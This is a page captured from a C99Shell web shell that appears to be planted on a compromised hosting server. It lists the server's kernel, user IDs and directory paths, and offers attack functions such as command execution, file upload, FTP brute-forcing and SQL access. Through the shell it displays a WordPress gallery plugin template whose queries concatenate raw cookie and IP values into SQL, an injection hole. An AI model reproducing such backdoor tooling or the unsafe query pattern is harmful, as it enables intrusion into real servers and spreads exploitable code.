!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/gallery-images/templates/front-end/view/thumbnails/   drwxr-xr-x
Free 181.11 GB of 490.84 GB (36.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     thumbnails-view.php (11.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<section id="thumbwrapper<?php echo $galleryID?>" class="gallery-img-content"
         data-gallery-id="<?php echo $galleryID?>" data-content-per-page="<?php echo $num?>"
         data-rating-type="<?php echo $like_dislike?>">
    <input type="hidden" class="pagenum" value="1"/>
    <ul id="huge_it_gallery<?php echo $galleryID?>" class="huge_it_gallery view-<?php echo $view_slug?>">
        <li id="fullPreview"></li>
        <?php
        
global $wpdb;
        
?>
        <input type="hidden" id="total" value="<?= $total?>"/>
        <?php foreach ( $page_images as $key => $row ) {
            if ( ! isset( 
$_COOKIE'Like_' $row->id '' ] ) ) {
                
$_COOKIE'Like_' $row->id '' ] = '';
            }
            if ( ! isset( 
$_COOKIE'Dislike_' $row->id '' ] ) ) {
                
$_COOKIE'Dislike_' $row->id '' ] = '';
            }
            
$num2   $wpdb->prepare"SELECT `image_status`,`ip` FROM " $wpdb->prefix "huge_itgallery_like_dislike WHERE image_id = %d AND `ip` = '" $huge_it_ip "'", (int) $row->id );
            
$res3   $wpdb->get_row$num2 );
            
$num3   $wpdb->prepare"SELECT `image_status`,`ip`,`cook` FROM " $wpdb->prefix "huge_itgallery_like_dislike WHERE image_id = %d AND `cook` = '" $_COOKIE'Like_' $row->id '' ] . "'", (int) $row->id );
            
$res4   $wpdb->get_row$num3 );
            
$num4   $wpdb->prepare"SELECT `image_status`,`ip`,`cook` FROM " $wpdb->prefix "huge_itgallery_like_dislike WHERE image_id = %d AND `cook` = '" $_COOKIE'Dislike_' $row->id '' ] . "'", (int) $row->id );
            
$res5   $wpdb->get_row$num4 );
            
$imgurl explode";"$row->image_url ); ?>
            <li class="huge_it_big_li">
                <?php if ( $like_dislike != 'off' ): ?>
                    <div class="huge_it_gallery_like_cont_<?php echo $galleryID $pID?>">
                        <div class="huge_it_gallery_like_wrapper">
                            <span class="huge_it_like">
                                <?php if ( $like_dislike == 'heart' ): ?>
                                    <i class="hugeiticons-heart likeheart"></i>
                                <?php endif; ?>
                                <?php if ( $like_dislike == 'dislike' ): ?>
                                    <i class="hugeiticons-thumbs-up like_thumb_up"></i>
                                <?php endif; ?>
                                <span class="huge_it_like_thumb" id="<?php echo $row->id ?>"
                                      data-status="<?php if ( isset( $res3->image_status ) && $res3->image_status == 'liked' ) {
                                          echo 
$res3->image_status;
                                      } elseif ( isset( 
$res4->image_status ) && $res4->image_status == 'liked' ) {
                                          echo 
$res4->image_status;
                                      } else {
                                          echo 
'unliked';
                                      } 
?>">
                                <?php if ( $like_dislike == 'heart' ): ?>
                                    <?php echo $row->like?>
                                <?php endif; ?>
                                </span>
                                <span
                                        class="huge_it_like_count <?php if ( $gallery_default_params['gallery_img_ht_thumb_rating_count'] == 'off' ) {
                                            echo 
'huge_it_hide';
                                        } 
?>"
                                        id="<?php echo $row->id ?>"><?php if ( $like_dislike != 'heart' ): ?><?php echo $row->like?><?php endif; ?></span>
                            </span>
                        </div>
                        <?php if ( $like_dislike != 'heart' ): ?>
                            <div class="huge_it_gallery_dislike_wrapper">
                            <span class="huge_it_dislike">
                                <i class="hugeiticons-thumbs-down dislike_thumb_down"></i>
                                <span class="huge_it_dislike_thumb" id="<?php echo $row->id ?>"
                                      data-status="<?php if ( isset( $res3->image_status ) && $res3->image_status == 'disliked' ) {
                                          echo 
$res3->image_status;
                                      } elseif ( isset( 
$res5->image_status ) && $res5->image_status == 'disliked' ) {
                                          echo 
$res5->image_status;
                                      } else {
                                          echo 
'unliked';
                                      } 
?>">
                                </span>
                            <span
                                    class="huge_it_dislike_count <?php if ( $gallery_default_params['gallery_img_ht_thumb_rating_count'] == 'off' ) {
                                        echo 
'huge_it_hide';
                                    } 
?>"
                                    id="<?php echo $row->id ?>"><?php echo $row->dislike?></span>
                            </span>
                            </div>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
                <?php
                $imagerowstype 
$row->sl_type;
                if ( 
$row->sl_type == '' ) {
                    
$imagerowstype 'image';
                }
                switch ( 
$imagerowstype ) {
                    case 
'image':
                        
?>
                        <a class="gallery_group<?php echo $galleryID?>" href="<?php echo $row->image_url?>"
                           title="<?php echo esc_attrstr_replace'__5_5_5__''%'$row->name ) ); ?>"></a>
                        <img
                                src="<?php echo esc_urlgallery_img_get_image_by_sizes_and_src$row->image_url, array(
                                    
$gallery_default_params'gallery_img_thumb_image_width' ],
                                    
$gallery_default_params'gallery_img_thumb_image_height' ]
                                ), 
false ) ); ?>"
                                alt="<?php echo esc_attrstr_replace'__5_5_5__''%'$row->name ) ); ?>"/>
                        <?php
                        
break;
                    case 
'video':
                        
?>
                        <?php
                        $videourl 
gallery_img_get_video_id_from_url$row->image_url );
                        if ( 
$videourl[1] == 'youtube' ) {
                            
?>
                            <a class="giyoutube huge_it_gallery_item gallery_group<?php echo $galleryID?>"
                               href="https://www.youtube.com/embed/<?php echo $videourl[0]; ?>"
                               title="<?php echo esc_attrstr_replace'__5_5_5__''%'$row->name ) ); ?>"></a>
                            <img alt="<?php echo esc_attr(  str_replace'__5_5_5__''%'$row->name ) ); ?>"
                                 src="http://img.youtube.com/vi/<?php echo $videourl[0]; ?>/mqdefault.jpg"/>
                            <?php
                        
} else {
                            
$hash   unserializewp_remote_fopen"http://vimeo.com/api/v2/video/" $videourl[0] . ".php" ) );
                            
$imgsrc $hash[0]['thumbnail_large'];
                            
?>
                            <a class="givimeo huge_it_gallery_item gallery_group<?php echo $galleryID?>"
                               href="http://player.vimeo.com/video/<?php echo $videourl[0]; ?>"
                               title="<?php echo esc_attrstr_replace'__5_5_5__''%'$row->name ) ); ?>"></a>
                            <img alt="<?php echo esc_attrstr_replace'__5_5_5__''%'$row->name ) ); ?>"
                                 src="<?php echo $imgsrc?>"/>
                            <?php
                        
}
                        
?>
                        <?php
                        
break;
                }
                
?>
                <div class="overLayer"></div>
                <div class="infoLayer">
                    <ul>
                        <li><?php if ( $row->name != '' && $row->name != null ) { ?>
                                <h2>
                                    <?php echo str_replace'__5_5_5__''%'$row->name ); ?>
                                </h2>                            <?php ?>
                        </li>
                        <li>
                            <p>
                                <?php echo $gallery_default_params["gallery_img_thumb_view_text"]; ?>
                            </p>
                        </li>
                    </ul>
                </div>
            </li>
        <?php ?>
    </ul>
    <?php
    $a 
$disp_type;
    if ( 
$a == ) {
        
$gallery_img_thumbnail_load_nonce wp_create_nonce'gallery_img_thumbnail_load_nonce' );
        
?>
        <div class="load_more3">
            <div class="load_more_button3"
                 data-thumbnail-nonce-value="<?php echo $gallery_img_thumbnail_load_nonce?>"><?= $gallery_default_params['gallery_img_video_ht_view7_loadmore_text']; ?></div>
            <div class="loading3"><img src="<?php if ( $gallery_default_params['gallery_img_video_ht_view7_loading_type'] == '1' ) {
                    echo 
GALLERY_IMG_IMAGES_URL '/front_images/arrows/loading1.gif';
                } elseif ( 
$gallery_default_params['gallery_img_video_ht_view7_loading_type'] == '2' ) {
                    echo 
GALLERY_IMG_IMAGES_URL '/front_images/arrows/loading4.gif';
                } elseif ( 
$gallery_default_params['gallery_img_video_ht_view7_loading_type'] == '3' ) {
                    echo 
GALLERY_IMG_IMAGES_URL '/front_images/arrows/loading36.gif';
                } elseif ( 
$gallery_default_params['gallery_img_video_ht_view7_loading_type'] == '4' ) {
                    echo 
GALLERY_IMG_IMAGES_URL '/front_images/arrows/loading51.gif';
                } 
?>"></div>
        </div>
        <?php
    
} elseif ( $a == ) {
        
?>
        <div class="paginate3">
            <?php
            $protocol    
stripos$_SERVER['SERVER_PROTOCOL'], 'https' ) === true 'https://' 'http://';
            
$actual_link esc_url($protocol $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "");
            
$checkREQ    '';
            
$pattern     "/\?p=/";
            
$pattern2    "/&page-img[0-9]+=[0-9]+/";
            
//$res=preg_match($pattern, $actual_link);
            
if ( preg_match$pattern$actual_link ) ) {
                if ( 
preg_match$pattern2$actual_link ) ) {
                    
$actual_link preg_replace$pattern2''$actual_link );
                }
                
$checkREQ $actual_link '&page-img' $galleryID $pID;
            } else {
                
$checkREQ '?page-img' $galleryID $pID;
            }
            
$pervpage '';
            if ( 
$page != ) {
                
$pervpage '<a href= ' $checkREQ '=1><i class="icon-style3 hugeiticons-fast-backward" ></i></a>  
                  <a href= ' 
$checkREQ '=' . ( $page ) . '><i class="icon-style3 hugeiticons-chevron-left"></i></a> ';
            }
            
$nextpage '';
            if ( 
$page != $total ) {
                
$nextpage ' <a href= ' $checkREQ '=' . ( $page ) . '><i class="icon-style3 hugeiticons-chevron-right"></i></a>  
                  <a href= ' 
$checkREQ '=' $total '><i class="icon-style3 hugeiticons-fast-forward" ></i></a>';
            }
            echo 
$pervpage $page '/' $total $nextpage;
            
?>
        </div>
        <?php
    
}
    
?>
</section>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0084 ]--